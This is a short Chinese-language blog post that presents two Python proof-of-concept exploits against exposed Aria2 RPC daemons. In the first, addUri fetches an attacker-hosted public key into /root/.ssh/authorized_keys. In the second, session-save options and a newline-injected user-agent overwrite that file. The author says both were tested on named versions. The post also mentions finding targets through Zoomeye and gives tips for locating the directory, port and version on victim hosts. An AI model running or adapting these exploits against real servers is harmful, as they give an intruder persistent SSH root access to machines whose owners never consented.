看了一篇关于 Aria2 的文章 Hacking Aria2 RPC Daemon,想起自己以前也有过在服务器上用 root 随手开 Aria2 RPC 下载东西的行为,不禁擦了把冷汗……
去 Zoomeye 上搜了下 Aria2,大部分搜到的 RPC Daemon 已经挂了,少部分需要验证。不过根据已有的几个成功例子来看,还是很容易中招的。
下面是参考 RicterZ 文章写的两个 PoC:
import xmlrpclib
from pprint import pprint
s = xmlrpclib.ServerProxy("http://victim:6800/rpc")
pprint(s.aria2.addUri(['http://attacker/pulic_key.txt'], {'out': 'authorized_keys', 'dir': '/root/.ssh/'}))
上面的这个 PoC 对低版本的 Aria2 比较好用,亲测在 1.15.1 上成功。但是在测试其他的一些较高版本 Aria2 时无法覆盖掉 authorized_keys,会自动生成 authorized_keys.1
这样的文件,或许是系统原因。
下面用 Aria2 Session 覆盖 authorized_keys 的 PoC 对高版本的 Aria2 比较好用,亲测在 1.27.1 上成功。不过这种方法会让 Aria2 RPC Daemon 挂掉(怀疑那些挂掉的是不是已经被搞过了,哈哈哈)。
import xmlrpclib
from pprint import pprint
pk = "ssh-rsa ..."
s = xmlrpclib.ServerProxy("http://victim:6800/rpc")
pprint(s.aria2.changeGlobalOption({"allow-overwrite": "true", "user-agent": "\n\n" + pk + "\n\n", "save-session": "/root/.ssh/authorized_keys"}))
pprint(s.aria2.getGlobalOption())
pprint(s.aria2.addUri(['http://download-server/any.txt'], {}))
pprint(s.aria2.shutdown())
值得注意的几点:
- 可能打开 Aria2 RPC Daemon 的不是 root,运气好的话去
全局设置
里的dir
可以找到 /home/username 目录。 - RPC 端口可能不是默认的 6800,在
连接设置
里可以看到端口。 - 在
服务器信息
里可以找到 Aria2 的版本信息。
估计服务器上常用来 BT 下载的 Transmission
也会有类似问题。
参考:
Aria2 官方文档